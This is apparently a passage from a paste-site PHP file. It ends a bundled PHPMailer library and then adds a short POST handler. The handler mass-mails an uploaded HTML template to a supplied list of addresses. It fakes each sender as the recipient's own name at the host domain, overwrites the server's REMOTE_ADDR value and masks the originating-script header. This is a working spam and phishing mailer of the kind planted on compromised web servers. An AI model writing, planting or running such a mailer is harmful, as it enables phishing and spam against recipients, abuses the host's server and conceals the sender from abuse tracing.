  2366.             "\t|$subject;\r\n" .
  2367.             "\tbh=" . $DKIMb64 . ";\r\n" .
  2368.             "\tb=";
  2369.         $toSign = $this->DKIM_HeaderC(
  2370.             $from_header . "\r\n" .
  2371.             $to_header . "\r\n" .
  2372.             $date_header . "\r\n" .
  2373.             $subject_header . "\r\n" .
  2374.             $dkimhdrs
  2375.         );
  2376.         $signed = $this->DKIM_Sign($toSign);
  2377.         return $dkimhdrs . $signed . "\r\n";
  2378.     }
  2379.     public static function hasLineLongerThanMax($str)
  2380.     {
  2381.         return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  2382.     }
  2383.     public function getToAddresses()
  2384.     {
  2385.         return $this->to;
  2386.     }
  2387.     public function getCcAddresses()
  2388.     {
  2389.         return $this->cc;
  2390.     }
  2391.     public function getBccAddresses()
  2392.     {
  2393.         return $this->bcc;
  2394.     }
  2395.     public function getReplyToAddresses()
  2396.     {
  2397.         return $this->ReplyTo;
  2398.     }
  2399.     public function getAllRecipientAddresses()
  2400.     {
  2401.         return $this->all_recipients;
  2402.     }
  2403.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2404.     {
  2405.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  2406.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2407.             call_user_func_array($this->action_function, $params);
  2408.         }
  2409.     }
  2410. }
  2411. class phpmailerException extends Exception
  2412. {
  2413.     public function errorMessage()
  2414.     {
  2415.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2416.         return $errorMsg;
  2417.     }
  2418. }
  2419.  
  2420. if(isset($_POST['action'])){
  2421.     $domain=str_replace('www.','',$_SERVER["HTTP_HOST"]);
  2422.     unset($_SERVER);
  2423.     $_SERVER['REMOTE_ADDR'] = $_SERVER['SERVER_ADDR'];
  2424.     $emails=  rtrim($_POST['email']);
  2425.     $tab=explode(",",$emails);
  2426.     $results=array();
  2427.     $body=file_get_contents($_FILES["template"]["tmp_name"]);
  2428.     $mail   = new PHPMailer();
  2429.     for($i=0;$i<count($tab);$i++){
  2430.         $to=  rtrim($tab[$i]);
  2431.         $ex=explode('@',$to);
  2432.         $tname=$ex[0];
  2433.         $from=$tname."@".$domain;
  2434.         $message_send = str_replace("'sent'", time(), $body);
  2435.         $message_send = str_replace("'mail'", $to, $message_send);
  2436.         $mail->CharSet = "UTF-8";
  2437.         $mail->IsHtml(true);
  2438.         $mail->Encoding = "base64";
  2439.         $mail->From = $from;
  2440.         $mail->FromName = $_POST['sender'];
  2441.         $mail->AddAddress($to);
  2442.         $mail->Subject = $_POST['subject'];
  2443.         $mail->Body = $message_send;
  2444.         $mail->AltBody = $mail->html2text($message_send);
  2445.         $mail->addCustomHeader("X-PHP-Originating-Script:0","/");
  2446.         if(!$mail->Send()){
  2447.             $result = "FAILED";
  2448.         } else {
  2449.             $result = "OK";
  2450.         }
  2451.         $results['result'][]=array(array("email"=>$to),array("status"=>$result));
  2452.         $mail->clearAllRecipients();
  2453.     }
  2454.     print json_encode($results);
  2455.  
  2456. }
  2457. else
  2458.     print "welcome";
  2459. ?>
Add Comment
Please, Sign In to add comment